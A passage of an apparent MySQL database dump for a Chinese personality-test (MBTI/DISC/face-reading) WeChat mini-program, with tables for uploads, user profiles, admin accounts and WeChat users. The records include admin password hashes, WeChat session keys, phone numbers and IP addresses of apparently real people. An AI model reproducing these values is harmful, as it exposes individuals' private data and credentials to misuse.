'03a098f6452fcda2eb2ba3c29e48e6df', 143220, 'image/jpeg', 'jpg', 1773228776, 1773228776); +INSERT INTO `mbti_upload_files` VALUES (112, 'mbti/20260311/img_69b15315631506.55875786.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg', 'oss', 'e83a0884339d6d67b51d5030b054d1e2', 141736, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (113, 'mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'oss', 'dae5b4f398f6823f7a5b17ce8e68cf4a', 144489, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (114, 'mbti/20260311/img_69b15315672be1.56231716.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg', 'oss', '3c8e1402536090a7a7af53c319827af2', 145189, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (115, 'mbti/20260311/img_69b155d8915338.23978756.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg', 'oss', 'c85bfb87be8e713e6d4901b49990dd84', 107481, 'image/jpeg', 'jpg', 1773229528, 1773229528); +INSERT INTO `mbti_upload_files` VALUES (116, 'mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'oss', 'f0affa39c3e9f8404d7dbe1eda413587', 110855, 'image/jpeg', 'jpg', 1773229528, 1773229528); +INSERT INTO `mbti_upload_files` VALUES (117, 'mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'oss', '942e00dc9c6607ead97bb4fa82561b68', 108801, 'image/jpeg', 'jpg', 1773229529, 1773229529); +INSERT INTO `mbti_upload_files` VALUES (118, 'mbti/20260311/img_69b15686bcc486.40018861.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg', 'oss', 'af18e79958b5945a0382f17bdbcd5bb4', 152343, 'image/jpeg', 'jpg', 1773229703, 1773229703); +INSERT INTO `mbti_upload_files` VALUES (119, 'mbti/20260311/img_69b15686c108a2.00278153.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg', 'oss', 'fea1cd75a030626a5ae1657e4725ed03', 152558, 'image/jpeg', 'jpg', 1773229702, 1773229702); +INSERT INTO `mbti_upload_files` VALUES (120, 'mbti/20260311/img_69b15686c72c85.43050844.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg', 'oss', 'b2a9575f583d16eb4be4b1f8bbc4afcf', 152875, 'image/jpeg', 'jpg', 1773229703, 1773229703); +INSERT INTO `mbti_upload_files` VALUES (121, 'mbti/20260312/img_69b22c5b77dd72.66364633.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', 'oss', '34b020b7c4e4bbbb28511c418d973c29', 1387582, 'image/png', 'png', 1773284445, 1773284445); +INSERT INTO `mbti_upload_files` VALUES (122, 'mbti/20260312/img_69b22d71b312f8.14596541.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', 'oss', '89cf37046fb115e47fe41d1038b47126', 1078792, 'image/png', 'png', 1773284723, 1773284723); +INSERT INTO `mbti_upload_files` VALUES (123, 'mbti/20260312/img_69b22d78d52b94.76297015.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png', 'oss', 'b67f6ac1003bb0b86e818e3f5432bcc6', 1582821, 'image/png', 'png', 1773284731, 1773284731); + +-- ---------------------------- +-- Table structure for mbti_user_profile +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_user_profile`; +CREATE TABLE `mbti_user_profile` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', + `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', + `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', + `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', + `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', + `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', + `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', + `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', + `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', + `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', + `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', + `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', + `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', + `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', + `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', + `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', + `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', + `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', + `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, + INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, + INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_user_profile +-- ---------------------------- +INSERT INTO `mbti_user_profile` VALUES (1, 1, 'personal', NULL, 28, 3, 4, 3, 18, 10, 10, 10, 73, 'face', 1772779082, 67, 69, 68, 73, 1772164861, 1773212497); +INSERT INTO `mbti_user_profile` VALUES (2, 1, 'enterprise', 5, 24, 1, 0, 3, 20, 0, 0, 0, 86, 'face', 1773042949, 71, NULL, 85, 86, 1772246018, 1773042949); +INSERT INTO `mbti_user_profile` VALUES (3, 6, 'personal', NULL, 5, 1, 0, 0, 4, 0, 0, 0, 100, 'face', 1773130960, 50, NULL, NULL, 100, 1772422915, 1773130960); +INSERT INTO `mbti_user_profile` VALUES (4, 7, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 51, 'face', 1772428086, NULL, NULL, NULL, 51, 1772428086, 1772428086); +INSERT INTO `mbti_user_profile` VALUES (5, 1, 'enterprise', 6, 32, 1, 4, 1, 19, 0, 0, 0, 145, 'face', 1773286899, 89, 103, 90, 145, 1772518933, 1773286899); +INSERT INTO `mbti_user_profile` VALUES (6, 12, 'personal', NULL, 4, 0, 0, 0, 4, 0, 0, 0, 59, 'face', 1772535779, NULL, NULL, NULL, 59, 1772535666, 1772535779); +INSERT INTO `mbti_user_profile` VALUES (7, 26, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 107, 'face', 1773137428, NULL, NULL, NULL, 107, 1773133602, 1773137428); +INSERT INTO `mbti_user_profile` VALUES (8, 28, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 116, 'face', 1773218176, NULL, NULL, NULL, 116, 1773218013, 1773218176); +INSERT INTO `mbti_user_profile` VALUES (9, 29, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 120, 'face', 1773219347, NULL, NULL, NULL, 120, 1773218860, 1773219347); +INSERT INTO `mbti_user_profile` VALUES (10, 31, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 121, 'face', 1773219366, NULL, NULL, NULL, 121, 1773219366, 1773219366); +INSERT INTO `mbti_user_profile` VALUES (11, 32, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 123, 'face', 1773222595, NULL, NULL, NULL, 123, 1773222595, 1773222595); +INSERT INTO `mbti_user_profile` VALUES (12, 33, 'personal', NULL, 6, 0, 0, 0, 6, 0, 0, 0, 134, 'face', 1773228837, NULL, NULL, NULL, 134, 1773227480, 1773228837); +INSERT INTO `mbti_user_profile` VALUES (13, 35, 'personal', NULL, 3, 1, 0, 0, 2, 0, 0, 0, 132, 'mbti', 1773228717, 132, NULL, NULL, 130, 1773227875, 1773228717); +INSERT INTO `mbti_user_profile` VALUES (14, 24, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 127, 'face', 1773228086, NULL, NULL, NULL, 127, 1773228025, 1773228086); +INSERT INTO `mbti_user_profile` VALUES (15, 36, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 135, 'face', 1773229546, NULL, NULL, NULL, 135, 1773229546, 1773229546); +INSERT INTO `mbti_user_profile` VALUES (16, 37, 'personal', NULL, 2, 1, 0, 0, 1, 0, 0, 0, 137, 'mbti', 1773229852, 137, NULL, NULL, 136, 1773229714, 1773229852); + +-- ---------------------------- +-- Table structure for mbti_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_users`; +CREATE TABLE `mbti_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', + `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', + `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', + `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `username`(`username`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_role`(`role`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_users +-- ---------------------------- +INSERT INTO `mbti_users` VALUES (1, 'admin', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', NULL, NULL, 'superadmin', NULL, NULL, NULL, NULL, 1, 1773127322, '222.76.193.38', NULL, 1770877583, 1773127322); +INSERT INTO `mbti_users` VALUES (2, 'ckb', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', '18888888888', 'ckb@qq.com', 'enterprise_admin', 5, NULL, NULL, NULL, 1, 1773227933, '222.76.193.38', NULL, 1770878340, 1773227933); +INSERT INTO `mbti_users` VALUES (3, 'test', '$2y$10$mCHe8NX/F48peF3CjPuowu4R0wB7I91I3xE1RLQv.p5dCt6Z7paYG', '', '', 'enterprise_admin', 6, NULL, NULL, NULL, 1, 1773132555, '192.168.1.22', NULL, 1772174277, 1773132555); + +-- ---------------------------- +-- Table structure for mbti_wechat_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_wechat_users`; +CREATE TABLE `mbti_wechat_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', + `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', + `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', + `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', + `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', + `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', + `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', + `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, + INDEX `idx_unionid`(`unionid`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_wechat_users +-- ---------------------------- +INSERT INTO `mbti_wechat_users` VALUES (1, 'oucCB1-ZVIkM-ZfN1L2556LQ4nw0', NULL, 'C0UlsErBrD74oAaBiqbHzQ==', 'wong', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', '18649947301', 0, NULL, NULL, NULL, 1, 1773306690, '192.168.1.22', 6, 1770964161, 1773306690, 9400, 10000, 0); +INSERT INTO `mbti_wechat_users` VALUES (2, 'oucCB149wurgAL6QNW7ryIDq3yKk', NULL, '8I8CeS/3kT7eGwPw+uHW9g==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1772421720, 1773287182, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (3, 'oucCB13ZKUnsRaYlQssbwTPhVd4M', NULL, 'l3Mpv7KAiY010VFaqRkBhw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772421723, '124.221.213.176', NULL, 1772421723, 1772421723, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (4, 'oucCB15QnGvXVsH3lM4f9VGM3qqM', NULL, 'zlkw6DhwWn8Cjt1r5YDb/w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.221.213.176', NULL, 1772421723, 1773287158, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (5, 'oucCB138gzETJPvifeLNMzJF6pWo', NULL, 'p2+DgeFte4tyJNY5xu5Y0Q==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772421759, '119.84.150.100', NULL, 1772421729, 1772421759, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (6, 'oucCB15WDKCdwfNo-fpyS72iY5IQ--', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', '少年梦想家', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', '13110806007', 0, NULL, NULL, NULL, 1, 1773130511, '222.76.193.38', NULL, 1772422831, 1773286899, 2620, 2620, 0); +INSERT INTO `mbti_wechat_users` VALUES (7, 'oucCB1_5bbtQ81rUGzlFAe26QYJM', NULL, 'TAODhksGkILOe+ZS5GpJ4w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772428029, '119.84.150.113', NULL, 1772428029, 1772428029, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (8, 'oucCB16Y_fH9Iw-cPIiKib7Q0gVk', NULL, 'aZkoI0tiaI2XXLAAjwNbUg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593719, '124.220.124.244', NULL, 1772432954, 1772593719, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (9, 'oucCB1_sptMQ_vqSc6RhSOlseE0Y', NULL, '2DfWem3RagjzG8x0iPZjXg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772432999, '101.34.86.201', NULL, 1772432955, 1772432999, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (10, 'oucCB11HD-1l-YS391Ksx0p6DKeQ', NULL, 'jIxvJ2dBwKgDpM7etmgXtw==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772432992, '119.84.150.101', NULL, 1772432961, 1772432992, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (11, 'oucCB1-b0mGsNG_EP9XxmXmmfmls', NULL, '4mx3aYCq5PwfBclj1iwntw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772433827, '119.84.150.113', NULL, 1772433827, 1772433827, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (12, 'oucCB17fP8tjK8p6L10kYtM_u-zM', NULL, 'N/fuTTQvjPFsdjZMEwTyZA==', '爱赛车的阿猫', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', '13779954946', 0, NULL, NULL, NULL, 1, 1773217705, '222.76.193.38', NULL, 1772534377, 1773229546, 14, 14, 0); +INSERT INTO `mbti_wechat_users` VALUES (13, 'oucCB10Xq40i5Kz3D0byaA3LXGsU', NULL, '6he+DL8PwR7KwRdLzufbeQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587863, '124.221.213.176', NULL, 1772587863, 1772587863, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (14, 'oucCB1zoVf5jzHeA5YNtouDhO1Uw', NULL, '6QwjTxDBJhjm02TdFBMIwA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609271, '101.34.86.201', NULL, 1772587866, 1772609271, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (15, 'oucCB1-cPFRxWwZLU1Rt8Jl3yqkM', NULL, '1o+Ieuce2AYUP4MSFV9oYA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587871, '119.84.150.102', NULL, 1772587871, 1772587871, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (16, 'oucCB14MiTaXm3IAh_eKDkui42aY', NULL, '1XfGYR4ZXEOueNgH8NZ2xQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588221, '124.221.213.176', NULL, 1772588221, 1772588221, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (17, 'oucCB1zfI9ZC4rtyS9kpgq1TFv7s', NULL, '90xVsk1deW6kNtxtswQReA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588229, '119.84.150.115', NULL, 1772588229, 1772588229, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (18, 'oucCB19sPEfQMkcHuath9liaVp4o', NULL, '6qIZC+5eTgLm+d3Iriwi8g==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772589192, '119.84.150.113', NULL, 1772589192, 1772589192, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (19, 'oucCB10X6rrCC6QPeIpQk4u3mhLk', NULL, 'JBzoreuWsEYjPlQpjpdMbA==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1772593719, '124.221.213.176', NULL, 1772593719, 1772593735, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (20, 'oucCB1zOYr5nheN_OuCZf1EbS6BI', NULL, '3Da5VazXw2AkCUv00ZdgeA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593727, '119.84.150.100', NULL, 1772593727, 1772593727, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (21, 'oucCB19_JfV_1PnXxL_GOgwPDZ5w', NULL, '1KIxerwbaejMl3/htXoMFw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772610153, '119.84.150.101', NULL, 1772594436, 1772610153, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (22, 'oucCB11X7Hn-4gn8Q10sykL9aHUw', NULL, 'IUG7/aDWL16UJT0fnEIcEw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609270, '124.221.213.176', NULL, 1772609270, 1772609270, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (23, 'oucCB17O20KVCvLqkpVYTs8oGaJQ', NULL, 'UySPIMyFc4M3cnSSvbX0eA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609278, '119.84.150.115', NULL, 1772609278, 1772609278, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (24, 'oucCB181zBrbwJwnqN11V2rSeS7E', NULL, 'ZkTEV1H6s08LXlLvfSdXIQ==', '#卡若🔥(4:00起床的男人)', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', '15880802661', 0, NULL, NULL, NULL, 1, 1773231282, '222.76.193.38', NULL, 1773061047, 1773231282, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (25, 'oucCB18Dwy5wOVuFSAloFg4b1bl8', NULL, 'OE5HKcEnqpsVIh4Vk47qJA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773066331, '175.24.88.249', NULL, 1773066331, 1773066331, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (26, 'oucCB15WDKCdwfNo-fpyS72iY5IQ', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', NULL, NULL, '13110806007', 0, NULL, NULL, NULL, 1, 1773137368, '222.76.193.38', NULL, 1773133041, 1773137368, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (27, 'oucCB1-K4ri1DGRVesilwXqw1Qxk', NULL, 'fMuJbnjzGigkFBxdpUVQBw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773217886, '27.149.120.53', NULL, 1773217886, 1773217886, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (28, 'oucCB1-bQ7huEfCauj_MQOjnGuEs', NULL, 'cTImYWuAznp8D4BiOOWRRw==', NULL, NULL, '13411334222', 0, NULL, NULL, NULL, 1, 1773219235, '223.104.71.240', NULL, 1773217917, 1773219235, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (29, 'oucCB135WoglJJE6CSo4lETLk1OE', NULL, '5UlxDaBGnSdwXbcNswv97w==', NULL, NULL, '15860758013', 0, NULL, NULL, NULL, 1, 1773219510, '223.104.48.225', NULL, 1773218797, 1773219510, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (30, 'oucCB1_8mgBxu2fIQKLfwU62vl8I', NULL, 'NTRPgwfEBLWSZNPROn032Q==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773219121, '223.104.71.248', NULL, 1773219121, 1773219121, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (31, 'oucCB11VN18Rxc80sAUdag1aGkPY', NULL, 'Waz1oii3uwp9ZAQgVklbqA==', NULL, NULL, '18659005777', 0, NULL, NULL, NULL, 1, 1773219310, '117.30.58.90', NULL, 1773219310, 1773219346, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (32, 'oucCB1335FBVeJvdMbS6FpwBKKvI', NULL, 'NqIxNIOgr7bpuuAPwusL1g==', NULL, NULL, '15805958716', 0, NULL, NULL, NULL, 1, 1773222524, '110.84.204.164', NULL, 1773222524, 1773222574, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (33, 'oucCB1wHXJDd6Sl82PZsxcn3V1h8', NULL, 'Oula89tgjDUXcMetIaBhog==', NULL, NULL, '18850346418', 0, NULL, NULL, NULL, 1, 1773228674, '112.48.34.30', NULL, 1773227436, 1773228674, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (34, 'oucCB1zbypvt8QNEexA_EiouHkaU', NULL, 'h1Fh+tvT1GcOSxXyIzZiuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773229125, '222.76.193.38', NULL, 1773227693, 1773229125, 3, 3, 0); +INSERT INTO `mbti_wechat_users` VALUES (35, 'oucCB18qWRguSU_LK5EP1V_FqdLk', NULL, 'LgIWb7H3E+5ZJ6mWHy9A5A==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773228752, '117.28.9.96', NULL, 1773227750, 1773228752, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (36, 'oucCB1yCpTUcX2CPZteunMUKEFvE', NULL, 'zIPfx44UMAi1ALBK5yrLPg==', NULL, NULL, '18850326353', 0, NULL, NULL, NULL, 1, 1773229479, '27.154.11.72', NULL, 1773229479, 1773229513, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (37, 'oucCB134llW9EoR6OtP1AM50LBOM', NULL, 'SGc5dSebmvp+TtpdOOwNdw==', NULL, NULL, '17395813556', 0, NULL, NULL, NULL, 1, 1773229676, '120.32.220.217', NULL, 1773229676, 1773229701, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (38, 'oucCB18frhXQcLlU2hUJ1c7ooL3g', NULL, '3IwAZ9hCFqdInbu3OoYfBg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773231619, '116.29.89.143', NULL, 1773231619, 1773231619, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (39, 'oucCB1y6atjlKTz619OUmRKBDO30', NULL, '+BmcKqoenVTFUGy4rh/fOw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1773287158, 1773287158, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (40, 'oucCB12uNbF9uKd67yXASAHWn_bQ', NULL, 'QrbbWtXwVDMjMQj68ua8nA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287165, '119.84.150.102', NULL, 1773287165, 